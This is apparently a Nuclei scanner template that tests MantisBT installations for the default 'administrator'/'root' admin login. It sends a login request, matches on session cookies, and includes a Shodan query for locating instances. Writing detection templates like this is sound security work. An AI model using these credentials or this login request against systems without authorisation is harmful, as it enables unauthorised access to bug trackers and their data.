id: mantisbt-default-credential

info:
  name: MantisBT Default Admin Login
  author: For3stCo1d
  severity: high
  description: A MantisBT default admin login was discovered.
  reference:
    - https://mantisbt.org/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 1
    shodan-query: title:"MantisBT"
  tags: mantisbt,default-login

http:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        return=index.php&username={{user}}&password={{pass}}

    attack: pitchfork
    payloads:
      user:
        - administrator
      pass:
        - root

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(tolower(header), 'mantis_secure_session')
          - contains(tolower(header), 'mantis_string_cookie')
        condition: and

      - type: status
        status:
          - 302

# digest: 490a0046304402205e3ba9080530721f7904ce8e6d98318f860b18d800d06370ccfd841b5de6ee8402201f73aac2837cd43bb2116deeddecd4ec504277ed0698a77d7c40c2a67bcf78b7:922c64590222798bb761d5b6d8e72950
